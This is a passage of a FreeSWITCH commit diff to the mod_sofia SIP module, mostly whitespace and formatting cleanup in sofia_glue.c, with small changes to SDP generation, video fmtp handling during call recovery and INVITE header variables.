+ TAG_IF(!zstr(b_tech_pvt->user_via), SIPTAG_VIA_STR(b_tech_pvt->user_via)), SIPTAG_PAYLOAD_STR(message), TAG_END());
} else if (ua && switch_stristr("polycom", ua)) {
if (zstr(acp->caller_id_name)) {
snprintf(message, sizeof(message), "P-Asserted-Identity: \"%s\" <%s>", acp->caller_id_number, acp->caller_id_number);
@@ -6575,8 +6599,7 @@
SOATAG_REUSE_REJECTED(1),
SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"),
TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
- TAG_IF(!zstr(b_tech_pvt->user_via), SIPTAG_VIA_STR(b_tech_pvt->user_via)),
- TAG_END());
+ TAG_IF(!zstr(b_tech_pvt->user_via), SIPTAG_VIA_STR(b_tech_pvt->user_via)), TAG_END());
} else {
nua_update(b_tech_pvt->nh,
NUTAG_MEDIA_ENABLE(0),
@@ -6584,8 +6607,7 @@
SIPTAG_CONTENT_TYPE_STR("application/sdp"),
SIPTAG_PAYLOAD_STR(b_tech_pvt->local_sdp_str),
TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
- TAG_IF(!zstr(b_tech_pvt->user_via), SIPTAG_VIA_STR(b_tech_pvt->user_via)),
- TAG_END());
+ TAG_IF(!zstr(b_tech_pvt->user_via), SIPTAG_VIA_STR(b_tech_pvt->user_via)), TAG_END());
}
}
Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_glue.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_glue.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_glue.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -82,7 +82,7 @@
"v=0\n"
"o=%s %010u %010u IN %s %s\n"
"s=%s\n"
- "c=IN %s %s\n"
+ "c=IN %s %s\n"
"t=0 0\n"
"m=image %d udptl t38\n"
"a=T38MaxBitRate:%d\n"
@@ -94,9 +94,8 @@
"a=T38FaxMaxDatagram:%d\n"
"a=T38FaxUdpEC:%s\n"
"a=T38VendorInfo:%s\n",
-
username,
- tech_pvt->owner_id,
+ tech_pvt->owner_id,
tech_pvt->session_id,
family,
ip,
@@ -104,18 +103,13 @@
family,
ip,
port,
-
t38_options->T38MaxBitRate,
t38_options->T38FaxFillBitRemoval ? "a=T38FaxFillBitRemoval\n" : "",
t38_options->T38FaxTranscodingMMR ? "a=T38FaxTranscodingMMR\n" : "",
t38_options->T38FaxTranscodingJBIG ? "a=T38FaxTranscodingJBIG\n" : "",
t38_options->T38FaxRateManagement,
- t38_options->T38FaxMaxBuffer,
- t38_options->T38FaxMaxDatagram,
- t38_options->T38FaxUdpEC,
- t38_options->T38VendorInfo
- );
-
+ t38_options->T38FaxMaxBuffer, t38_options->T38FaxMaxDatagram, t38_options->T38FaxUdpEC, t38_options->T38VendorInfo);
+
sofia_glue_tech_set_local_sdp(tech_pvt, buf, SWITCH_TRUE);
}
@@ -183,12 +177,12 @@
tech_pvt->session_id++;
- if ((tech_pvt->profile->ndlb & PFLAG_NDLB_SENDRECV_IN_SESSION) ||
- ((var_val=switch_channel_get_variable(tech_pvt->channel, "ndlb_sendrecv_in_session")) && switch_true(var_val))) {
+ if ((tech_pvt->profile->ndlb & PFLAG_NDLB_SENDRECV_IN_SESSION) ||
+ ((var_val = switch_channel_get_variable(tech_pvt->channel, "ndlb_sendrecv_in_session")) && switch_true(var_val))) {
switch_snprintf(srbuf, sizeof(srbuf), "a=%s\n", sr);
sr = NULL;
}
-
+
family = strchr(ip, ':') ? "IP6" : "IP4";
switch_snprintf(buf, sizeof(buf),
"v=0\n"
@@ -196,12 +190,10 @@
"s=%s\n"
"c=IN %s %s\n" "t=0 0\n"
"%sm=audio %d RTP/%sAVP",
- username,
- tech_pvt->owner_id, tech_pvt->session_id, family, ip, username, family, ip,
- srbuf,
- port,
- (!zstr(tech_pvt->local_crypto_key)
- && sofia_test_flag(tech_pvt,TFLAG_SECURE)) ? "S" : "");
+ username, tech_pvt->owner_id, tech_pvt->session_id, family, ip, username, family, ip, srbuf, port, (!zstr(tech_pvt->local_crypto_key)
+ && sofia_test_flag(tech_pvt,
+ TFLAG_SECURE)) ?
+ "S" : "");
if (tech_pvt->rm_encoding) {
switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), " %d", tech_pvt->pt);
@@ -293,14 +285,14 @@
if (append_audio) {
switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "%s%s", append_audio, end_of(append_audio) == '\n' ? "" : "\n");
}
-
+
if (ptime) {
switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "a=ptime:%d\n", ptime);
}
if (sr) {
switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "a=%s\n", sr);
- }
+ }
if (!zstr(tech_pvt->local_crypto_key) && sofia_test_flag(tech_pvt, TFLAG_SECURE)) {
switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "a=crypto:%s\n", tech_pvt->local_crypto_key);
@@ -344,7 +336,7 @@
if ((v_port = tech_pvt->adv_sdp_video_port)) {
switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "m=video %d RTP/AVP", v_port);
-
+
/*****************************/
if (tech_pvt->video_rm_encoding) {
sofia_glue_tech_set_video_codec(tech_pvt, 0);
@@ -374,23 +366,28 @@
}
switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "\n");
-
+
if (tech_pvt->video_rm_encoding) {
const char *of;
rate = tech_pvt->video_rm_rate;
switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "a=rtpmap:%d %s/%ld\n", tech_pvt->video_pt, tech_pvt->video_rm_encoding,
tech_pvt->video_rm_rate);
- pass_fmtp = NULL;
+ if (sofia_test_flag(tech_pvt, TFLAG_RECOVERING)) {
+ pass_fmtp = tech_pvt->video_rm_fmtp;
+ } else {
- if (switch_channel_get_variable(tech_pvt->channel, SWITCH_SIGNAL_BOND_VARIABLE)) {
- if ((of = switch_channel_get_variable_partner(tech_pvt->channel, "sip_video_fmtp"))) {
- pass_fmtp = of;
+ pass_fmtp = NULL;
+
+ if (switch_channel_get_variable(tech_pvt->channel, SWITCH_SIGNAL_BOND_VARIABLE)) {
+ if ((of = switch_channel_get_variable_partner(tech_pvt->channel, "sip_video_fmtp"))) {
+ pass_fmtp = of;
+ }
}
- }
- if (ov_fmtp) {
- pass_fmtp = ov_fmtp;
+ if (ov_fmtp) {
+ pass_fmtp = ov_fmtp;
+ }
}
if (pass_fmtp) {
@@ -432,13 +429,14 @@
}
}
}
+
sofia_glue_tech_set_local_sdp(tech_pvt, buf, SWITCH_TRUE);
}
const char *sofia_glue_get_codec_string(private_object_t *tech_pvt)
{
const char *codec_string = NULL, *preferred = NULL, *fallback = NULL;
-
+
if (switch_channel_direction(tech_pvt->channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
preferred = tech_pvt->profile->outbound_codec_string;
fallback = tech_pvt->profile->inbound_codec_string;
@@ -448,7 +446,7 @@
}
codec_string = !zstr(preferred) ? preferred : fallback;
-
+
return codec_string;
}
@@ -489,9 +487,9 @@
}
}
}
-
- ready:
+ ready:
+
if (codec_string) {
char *tmp_codec_string;
if ((tmp_codec_string = switch_core_session_strdup(tech_pvt->session, codec_string))) {
@@ -539,7 +537,7 @@
switch_mutex_lock(profile->flag_mutex);
/* copy flags from profile to the sofia private */
- for(x = 0; x < TFLAG_MAX; x++ ) {
+ for (x = 0; x < TFLAG_MAX; x++) {
tech_pvt->flags[x] = profile->flags[x];
}
@@ -571,17 +569,20 @@
switch_channel_set_cap(tech_pvt->channel, CC_MEDIA_ACK);
switch_channel_set_cap(tech_pvt->channel, CC_BYPASS_MEDIA);
switch_channel_set_cap(tech_pvt->channel, CC_PROXY_MEDIA);
-
+
switch_core_session_set_private(session, tech_pvt);
- switch_snprintf(name, sizeof(name), "sofia/%s/%s", profile->name, channame);
- if ((p = strchr(name, ';'))) {
- *p = '\0';
+ if (channame) {
+ switch_snprintf(name, sizeof(name), "sofia/%s/%s", profile->name, channame);
+ if ((p = strchr(name, ';'))) {
+ *p = '\0';
+ }
+ switch_channel_set_name(tech_pvt->channel, name);
}
- switch_channel_set_name(tech_pvt->channel, name);
}
-switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port, const char *sourceip, switch_memory_pool_t *pool)
+switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port,
+ const char *sourceip, switch_memory_pool_t *pool)
{
char *error = "";
switch_status_t status = SWITCH_STATUS_FALSE;
@@ -606,7 +607,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Trying to use STUN but its disabled!\n");
goto out;
}
-
+
stun_ip = strdup(sourceip + 5);
if ((p = strchr(stun_ip, ':'))) {
@@ -624,7 +625,7 @@
}
for (x = 0; x < 5; x++) {
- if (sofia_test_pflag(profile, PFLAG_FUNNY_STUN) ||
+ if (sofia_test_pflag(profile, PFLAG_FUNNY_STUN) ||
(tech_pvt && (var = switch_channel_get_variable(tech_pvt->channel, "funny_stun")) && switch_true(var))) {
error = "funny";
funny++;
@@ -662,11 +663,11 @@
}
}
} else {
- *ip = (char*)sourceip;
+ *ip = (char *) sourceip;
status = SWITCH_STATUS_SUCCESS;
}
- out:
+ out:
switch_safe_free(stun_ip);
@@ -713,23 +714,23 @@
}
tech_pvt->local_sdp_audio_ip = tech_pvt->profile->rtpip;
-
+
sdp_port = tech_pvt->local_sdp_audio_port;
- if (!(use_ip = switch_channel_get_variable(tech_pvt->channel, "rtp_adv_audio_ip"))
+ if (!(use_ip = switch_channel_get_variable(tech_pvt->channel, "rtp_adv_audio_ip"))
&& !zstr(tech_pvt->profile->extrtpip)) {
- use_ip = tech_pvt->profile->extrtpip;
+ use_ip = tech_pvt->profile->extrtpip;
}
if (use_ip) {
- if (sofia_glue_ext_address_lookup(tech_pvt->profile, tech_pvt, &lookup_rtpip, &sdp_port,
+ if (sofia_glue_ext_address_lookup(tech_pvt->profile, tech_pvt, &lookup_rtpip, &sdp_port,
use_ip, switch_core_session_get_pool(tech_pvt->session)) != SWITCH_STATUS_SUCCESS) {
/* Address lookup was required and fail (external ip was "host:..." or "stun:...") */
- return SWITCH_STATUS_FALSE;
+ return SWITCH_STATUS_FALSE;
} else {
if (lookup_rtpip == use_ip) {
/* sofia_glue_ext_address_lookup didn't return any error, but the return IP is the same as the original one,
- which means no lookup was necessary. Check if NAT is detected */
+ which means no lookup was necessary. Check if NAT is detected */
if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
/* Yes, map the port through switch_nat */
switch_nat_add_mapping(tech_pvt->local_sdp_audio_port, SWITCH_NAT_UDP, &sdp_port, SWITCH_FALSE);
@@ -738,7 +739,7 @@
use_ip = tech_pvt->profile->rtpip;
}
} else {
- /* Address properly resolved, use it as external ip */
+ /* Address properly resolved, use it as external ip */
use_ip = lookup_rtpip;
}
}
@@ -746,7 +747,7 @@
/* No NAT traversal required, use the profile's rtp ip */
use_ip = tech_pvt->profile->rtpip;
}
-
+
tech_pvt->adv_sdp_audio_port = sdp_port;
tech_pvt->adv_sdp_audio_ip = tech_pvt->extrtpip = switch_core_session_strdup(tech_pvt->session, use_ip);
@@ -784,20 +785,20 @@
sdp_port = tech_pvt->local_sdp_video_port;
- if (!(use_ip = switch_channel_get_variable(tech_pvt->channel, "rtp_adv_video_ip"))
+ if (!(use_ip = switch_channel_get_variable(tech_pvt->channel, "rtp_adv_video_ip"))
&& !zstr(tech_pvt->profile->extrtpip)) {
- use_ip = tech_pvt->profile->extrtpip;
+ use_ip = tech_pvt->profile->extrtpip;
}
if (use_ip) {
- if (sofia_glue_ext_address_lookup(tech_pvt->profile, tech_pvt, &lookup_rtpip, &sdp_port,
+ if (sofia_glue_ext_address_lookup(tech_pvt->profile, tech_pvt, &lookup_rtpip, &sdp_port,
use_ip, switch_core_session_get_pool(tech_pvt->session)) != SWITCH_STATUS_SUCCESS) {
/* Address lookup was required and fail (external ip was "host:..." or "stun:...") */
- return SWITCH_STATUS_FALSE;
+ return SWITCH_STATUS_FALSE;
} else {
if (lookup_rtpip == use_ip) {
/* sofia_glue_ext_address_lookup didn't return any error, but the return IP is the same as the original one,
- which means no lookup was necessary. Check if NAT is detected */
+ which means no lookup was necessary. Check if NAT is detected */
if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
/* Yes, map the port through switch_nat */
switch_nat_add_mapping(tech_pvt->local_sdp_video_port, SWITCH_NAT_UDP, &sdp_port, SWITCH_FALSE);
@@ -806,7 +807,7 @@
use_ip = tech_pvt->profile->rtpip;
}
} else {
- /* Address properly resolved, use it as external ip */
+ /* Address properly resolved, use it as external ip */
use_ip = lookup_rtpip;
}
}
@@ -814,7 +815,7 @@
/* No NAT traversal required, use the profile's rtp ip */
use_ip = tech_pvt->profile->rtpip;
}
-
+
tech_pvt->adv_sdp_video_port = sdp_port;
switch_channel_set_variable(tech_pvt->channel, SWITCH_LOCAL_VIDEO_IP_VARIABLE, tech_pvt->adv_sdp_audio_ip);
switch_channel_set_variable_printf(tech_pvt->channel, SWITCH_LOCAL_VIDEO_PORT_VARIABLE, "%d", sdp_port);
@@ -913,22 +914,19 @@
}
}
-char *sofia_glue_create_external_via(switch_core_session_t *session, sofia_profile_t *profile, sofia_transport_t transport)
+char *sofia_glue_create_external_via(switch_core_session_t *session, sofia_profile_t *profile, sofia_transport_t transport)
{
- return sofia_glue_create_via(session,
- profile->extsipip,
- (sofia_glue_transport_has_tls(transport))
- ? profile->tls_sip_port : profile->sip_port,
- transport);
+ return sofia_glue_create_via(session, profile->extsipip, (sofia_glue_transport_has_tls(transport))
+ ? profile->tls_sip_port : profile->sip_port, transport);
}
-char *sofia_glue_create_via(switch_core_session_t *session, const char *ip, switch_port_t port, sofia_transport_t transport)
+char *sofia_glue_create_via(switch_core_session_t *session, const char *ip, switch_port_t port, sofia_transport_t transport)
{
if (port && port != 5060) {
if (session) {
- return switch_core_session_sprintf(session, "SIP/2.0/%s %s:%d;rport", sofia_glue_transport2str(transport), ip, port);
+ return switch_core_session_sprintf(session, "SIP/2.0/%s %s:%d;rport", sofia_glue_transport2str(transport), ip, port);
} else {
- return switch_mprintf("SIP/2.0/%s %s:%d;rport", sofia_glue_transport2str(transport), ip, port);
+ return switch_mprintf("SIP/2.0/%s %s:%d;rport", sofia_glue_transport2str(transport), ip, port);
}
} else {
if (session) {
@@ -973,7 +971,8 @@
}
}
-void sofia_glue_get_addr(msg_t *msg, char *buf, size_t buflen, int *port) {
+void sofia_glue_get_addr(msg_t *msg, char *buf, size_t buflen, int *port)
+{
su_addrinfo_t *addrinfo = msg_addrinfo(msg);
if (buf) {
@@ -981,7 +980,7 @@
}
if (port) {
- *port = get_port(addrinfo->ai_addr);
+ *port = get_port(addrinfo->ai_addr);
}
}
@@ -995,8 +994,8 @@
stripped = sofia_glue_get_url_from_contact(stripped, 0);
/* remove our params so we don't make any whiny moronic device piss it's pants and forget who it is for a half-hour */
- if ((p = (char *)switch_stristr(";fs_", stripped))) {
- *p = '\0';
+ if ((p = (char *) switch_stristr(";fs_", stripped))) {
+ *p = '\0';
}
if (transport && transport != SOFIA_TRANSPORT_UDP) {
@@ -1048,13 +1047,12 @@
char *p, *ip_ptr = NULL, *port_ptr = NULL, *vid_port_ptr = NULL, *pe;
int x;
const char *val;
-
+
if (zstr(tech_pvt->remote_sdp_str)) {
return SWITCH_STATUS_FALSE;
}
- if ((p = (char *) switch_stristr("c=IN IP4 ", tech_pvt->remote_sdp_str)) ||
- (p = (char *) switch_stristr("c=IN IP6 ", tech_pvt->remote_sdp_str))) {
+ if ((p = (char *) switch_stristr("c=IN IP4 ", tech_pvt->remote_sdp_str)) || (p = (char *) switch_stristr("c=IN IP6 ", tech_pvt->remote_sdp_str))) {
ip_ptr = p + 9;
}
@@ -1112,7 +1110,7 @@
tech_pvt->remote_sdp_audio_ip = switch_core_session_strdup(tech_pvt->session, rip);
tech_pvt->remote_sdp_audio_port = (switch_port_t) atoi(rp);
-
+
if (*rvp) {
tech_pvt->remote_sdp_video_ip = switch_core_session_strdup(tech_pvt->session, rip);
tech_pvt->remote_sdp_video_port = (switch_port_t) atoi(rvp);
@@ -1126,9 +1124,8 @@
sofia_set_flag_locked(tech_pvt, TFLAG_VIDEO);
switch_channel_set_flag(tech_pvt->channel, CF_VIDEO);
if (switch_rtp_ready(tech_pvt->video_rtp_session)) {
- if (switch_rtp_set_remote_address(tech_pvt->video_rtp_session, tech_pvt->remote_sdp_video_ip,
- tech_pvt->remote_sdp_video_port, SWITCH_TRUE, &err) !=
- SWITCH_STATUS_SUCCESS) {
+ if (switch_rtp_set_remote_address(tech_pvt->video_rtp_session, tech_pvt->remote_sdp_video_ip,
+ tech_pvt->remote_sdp_video_port, SWITCH_TRUE, &err) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "VIDEO RTP REPORTS ERROR: [%s]\n", err);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "VIDEO RTP CHANGING DEST TO: [%s:%d]\n",
@@ -1149,14 +1146,14 @@
if (switch_rtp_ready(tech_pvt->rtp_session)) {
char *remote_host = switch_rtp_get_remote_host(tech_pvt->rtp_session);
switch_port_t remote_port = switch_rtp_get_remote_port(tech_pvt->rtp_session);
-
+
if (remote_host && remote_port && !strcmp(remote_host, tech_pvt->remote_sdp_audio_ip) && remote_port == tech_pvt->remote_sdp_audio_port) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Remote address:port [%s:%d] has not changed.\n",
tech_pvt->remote_sdp_audio_ip, tech_pvt->remote_sdp_audio_port);
return SWITCH_STATUS_SUCCESS;
}
-
- if (switch_rtp_set_remote_address(tech_pvt->rtp_session, tech_pvt->remote_sdp_audio_ip,
+
+ if (switch_rtp_set_remote_address(tech_pvt->rtp_session, tech_pvt->remote_sdp_audio_ip,
tech_pvt->remote_sdp_audio_port, SWITCH_TRUE, &err) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "AUDIO RTP REPORTS ERROR: [%s]\n", err);
} else {
@@ -1165,7 +1162,7 @@
if (!sofia_test_pflag(tech_pvt->profile, PFLAG_DISABLE_RTP_AUTOADJ) &&
!((val = switch_channel_get_variable(tech_pvt->channel, "disable_rtp_auto_adjust")) && switch_true(val))) {
/* Reactivate the NAT buster flag. */
- switch_rtp_set_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_AUTOADJ);
+ switch_rtp_set_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_AUTOADJ);
}
if (sofia_test_pflag(tech_pvt->profile, PFLAG_AUTOFIX_TIMING)) {
tech_pvt->check_frames = 0;
@@ -1180,8 +1177,8 @@
void sofia_glue_tech_patch_sdp(private_object_t *tech_pvt)
{
switch_size_t len;
- char *p, *q, *pe , *qe;
- int has_video=0,has_audio=0,has_ip=0;
+ char *p, *q, *pe, *qe;
+ int has_video = 0, has_audio = 0, has_ip = 0;
char port_buf[25] = "";
char vport_buf[25] = "";
char *new_sdp;
@@ -1192,51 +1189,52 @@
}
len = strlen(tech_pvt->local_sdp_str) * 2;
-
- if (switch_channel_test_flag(tech_pvt->channel, CF_ANSWERED) &&
+
+ if (switch_channel_test_flag(tech_pvt->channel, CF_ANSWERED) &&
(switch_stristr("sendonly", tech_pvt->local_sdp_str) || switch_stristr("0.0.0.0", tech_pvt->local_sdp_str))) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Skip patch on hold SDP\n");
- return;
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Skip patch on hold SDP\n");
+ return;
}
-
+
if (zstr(tech_pvt->adv_sdp_audio_ip) || !tech_pvt->adv_sdp_audio_port) {
- if (sofia_glue_tech_choose_port(tech_pvt, 1) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "%s I/O Error\n", switch_channel_get_name(tech_pvt->channel));
+ if (sofia_glue_tech_choose_port(tech_pvt, 1) != SWITCH_STATUS_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "%s I/O Error\n",
+ switch_channel_get_name(tech_pvt->channel));
return;
}
tech_pvt->iananame = switch_core_session_strdup(tech_pvt->session, "PROXY");
tech_pvt->rm_rate = 8000;
tech_pvt->codec_ms = 20;
}
-
+
new_sdp = switch_core_session_alloc(tech_pvt->session, len);
switch_snprintf(port_buf, sizeof(port_buf), "%u", tech_pvt->adv_sdp_audio_port);
-
+
p = tech_pvt->local_sdp_str;
q = new_sdp;
pe = p + strlen(p);
qe = q + len - 1;
- while(p && *p) {
+ while (p && *p) {
if (p >= pe) {
bad = 1;
goto end;
}
-
+
if (q >= qe) {
bad = 2;
goto end;
}
- if (tech_pvt->adv_sdp_audio_ip && !strncmp("c=IN IP", p, 7)) {
+ if (tech_pvt->adv_sdp_audio_ip && !strncmp("c=IN IP", p, 7)) {
strncpy(q, p, 9);
p += 9;
q += 9;
strncpy(q, tech_pvt->adv_sdp_audio_ip, strlen(tech_pvt->adv_sdp_audio_ip));
q += strlen(tech_pvt->adv_sdp_audio_ip);
- while(p && *p && ((*p >= '0' && *p <= '9') || *p == '.' || *p == ':' || (*p >= 'A' && *p <= 'F') || (*p >= 'a' && *p <= 'f'))) {
+ while (p && *p && ((*p >= '0' && *p <= '9') || *p == '.' || *p == ':' || (*p >= 'A' && *p <= 'F') || (*p >= 'a' && *p <= 'f'))) {
if (p >= pe) {
bad = 3;
goto end;
@@ -1244,7 +1242,7 @@
p++;
}
- has_ip++;
+ has_ip++;
} else if (!strncmp("m=audio ", p, 8) || (!strncmp("m=image ", p, 8))) {
strncpy(q, p, 8);
@@ -1257,7 +1255,7 @@
q += 8;
-
+
if (q >= qe) {
bad = 5;
goto end;
@@ -1280,9 +1278,9 @@
p++;
}
- has_audio++;
+ has_audio++;
- } else if (!strncmp("m=video ", p, 8)) {
+ } else if (!strncmp("m=video ", p, 8)) {
if (!has_video) {
sofia_glue_tech_choose_video_port(tech_pvt, 1);
tech_pvt->video_rm_encoding = "PROXY-VID";
@@ -1323,12 +1321,12 @@
p++;
}
-
+
has_video++;
- }
-
- while (p && *p && *p != '\n') {
+ }
+ while (p && *p && *p != '\n') {
+
if (p >= pe) {
bad = 12;
goto end;
@@ -1340,23 +1338,23 @@
}
*q++ = *p++;
- }
-
+ }
+
if (p >= pe) {
- bad = 14;
- goto end;
- }
-
+ bad = 14;
+ goto end;
+ }
+
if (q >= qe) {
bad = 15;
goto end;
}
- *q++ = *p++;
+ *q++ = *p++;
}
- end:
+ end:
if (bad) {
return;
@@ -1374,8 +1372,8 @@
switch_channel_get_name(tech_pvt->channel), tech_pvt->local_sdp_str);
return;
}
-
+
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "%s Patched SDP\n---\n%s\n+++\n%s\n",
switch_channel_get_name(tech_pvt->channel), tech_pvt->local_sdp_str, new_sdp);
@@ -1387,33 +1385,34 @@
void sofia_glue_tech_set_local_sdp(private_object_t *tech_pvt, const char *sdp_str, switch_bool_t dup)
{
switch_mutex_lock(tech_pvt->sofia_mutex);
- tech_pvt->local_sdp_str = dup ? switch_core_session_strdup(tech_pvt->session, sdp_str) : (char *)sdp_str;
- switch_mutex_unlock(tech_pvt->sofia_mutex);
+ tech_pvt->local_sdp_str = dup ? switch_core_session_strdup(tech_pvt->session, sdp_str) : (char *) sdp_str;
+ switch_channel_set_variable(tech_pvt->channel, "sip_local_sdp_str", tech_pvt->local_sdp_str);
+ switch_mutex_unlock(tech_pvt->sofia_mutex);
}
-char* sofia_glue_get_extra_headers(switch_channel_t *channel, const char *prefix)
+char *sofia_glue_get_extra_headers(switch_channel_t *channel, const char *prefix)
{
char *extra_headers = NULL;
switch_stream_handle_t stream = { 0 };
- switch_event_header_t *hi = NULL;
+ switch_event_header_t *hi = NULL;
- SWITCH_STANDARD_STREAM(stream);
- if ((hi = switch_channel_variable_first(channel))) {
- for (; hi; hi = hi->next) {
- const char *name = (char *) hi->name;
- char *value = (char *) hi->value;
+ SWITCH_STANDARD_STREAM(stream);
+ if ((hi = switch_channel_variable_first(channel))) {
+ for (; hi; hi = hi->next) {
+ const char *name = (char *) hi->name;
+ char *value = (char *) hi->value;
- if (!strncasecmp(name, prefix, strlen(prefix))) {
- const char *hname = name + strlen(prefix);
- stream.write_function(&stream, "%s: %s\r\n", hname, value);
- }
- }
- switch_channel_variable_last(channel);
- }
+ if (!strncasecmp(name, prefix, strlen(prefix))) {
+ const char *hname = name + strlen(prefix);
+ stream.write_function(&stream, "%s: %s\r\n", hname, value);
+ }
+ }
+ switch_channel_variable_last(channel);
+ }
- if (!zstr((char*)stream.data)) {
- extra_headers = stream.data;
- } else {
+ if (!zstr((char *) stream.data)) {
+ extra_headers = stream.data;
+ } else {
switch_safe_free(stream.data);
}
@@ -1424,7 +1423,7 @@
{
sip_unknown_t *un;
char name[512] = "";
-
+
if (!sip || !channel) {
return;
}
@@ -1461,7 +1460,15 @@
char *route_uri = NULL;
sofia_destination_t *dst = NULL;
sofia_cid_type_t cid_type = tech_pvt->profile->cid_type;
-
+ sip_cseq_t *cseq = NULL;
+ const char *invite_full_via = switch_channel_get_variable(tech_pvt->channel, "sip_invite_full_via");
+ const char *invite_route_uri = switch_channel_get_variable(tech_pvt->channel, "sip_invite_route_uri");
+ const char *invite_full_from = switch_channel_get_variable(tech_pvt->channel, "sip_invite_full_from");
+ const char *invite_full_to = switch_channel_get_variable(tech_pvt->channel, "sip_invite_full_to");
+ const char *handle_full_from = switch_channel_get_variable(tech_pvt->channel, "sip_handle_full_from");
+ const char *handle_full_to = switch_channel_get_variable(tech_pvt->channel, "sip_handle_full_to");
+
+
rep = switch_channel_get_variable(channel, SOFIA_REPLACES_HEADER);
switch_assert(tech_pvt != NULL);
@@ -1477,7 +1484,7 @@
check_decode(cid_name, session);
check_decode(cid_num, session);
-
+
if ((alertbuf = switch_channel_get_variable(channel, "alert_info"))) {
alert_info = switch_core_session_sprintf(tech_pvt->session, "Alert-Info: %s", alertbuf);
}
@@ -1504,51 +1511,47 @@
const char *invite_params = switch_channel_get_variable(tech_pvt->channel, "sip_invite_params");
const char *invite_to_params = switch_channel_get_variable(tech_pvt->channel, "sip_invite_to_params");
const char *invite_to_uri = switch_channel_get_variable(tech_pvt->channel, "sip_invite_to_uri");
+ const char *invite_from_uri = switch_channel_get_variable(tech_pvt->channel, "sip_invite_from_uri");
const char *invite_contact_params = switch_channel_get_variable(tech_pvt->channel, "sip_invite_contact_params");
const char *invite_from_params = switch_channel_get_variable(tech_pvt->channel, "sip_invite_from_params");
const char *from_var = switch_channel_get_variable(tech_pvt->channel, "sip_from_uri");
const char *from_display = switch_channel_get_variable(tech_pvt->channel, "sip_from_display");
+ const char *invite_req_uri = switch_channel_get_variable(tech_pvt->channel, "sip_invite_req_uri");
+ const char *use_name, *use_number;
-
if (zstr(tech_pvt->dest)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "URL Error!\n");
return SWITCH_STATUS_FALSE;
}
-
+
if ((d_url = sofia_glue_get_url_from_contact(tech_pvt->dest, 1))) {
url = d_url;
} else {
url = tech_pvt->dest;
}
-
+
url_str = url;
if (!tech_pvt->from_str) {
- const char* sipip;
- const char* format;
+ const char *sipip;
+ const char *format;
const char *alt = NULL;
-
+
sipip = tech_pvt->profile->sipip;
-
+
if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
sipip = tech_pvt->profile->extsipip;
}
-
+
format = strchr(sipip, ':') ? "\"%s\" <sip:%s%s[%s]>" : "\"%s\" <sip:%s%s%s>";
-
+
if ((alt = switch_channel_get_variable(channel, "sip_invite_domain"))) {
sipip = alt;
}
-
- tech_pvt->from_str =
- switch_core_session_sprintf(tech_pvt->session,
- format,
- cid_name,
- cid_num,
- !zstr(cid_num) ? "@" : "",
- sipip);
+
+ tech_pvt->from_str = switch_core_session_sprintf(tech_pvt->session, format, cid_name, cid_num, !zstr(cid_num) ? "@" : "", sipip);
}
-
+
if (from_var) {
if (strncasecmp(from_var, "sip:", 4) || strncasecmp(from_var, "sips:", 5)) {
use_from_str = switch_core_session_strdup(tech_pvt->session, from_var);
@@ -1565,7 +1568,7 @@
rpid_domain = switch_core_session_strdup(session, tech_pvt->gateway_from_str);
} else if (!zstr(tech_pvt->from_str)) {
rpid_domain = switch_core_session_strdup(session, tech_pvt->from_str);
- }
+ }
sofia_glue_get_url_from_contact(rpid_domain, 0);
if ((rpid_domain = strrchr(rpid_domain, '@'))) {
@@ -1616,33 +1619,32 @@
}
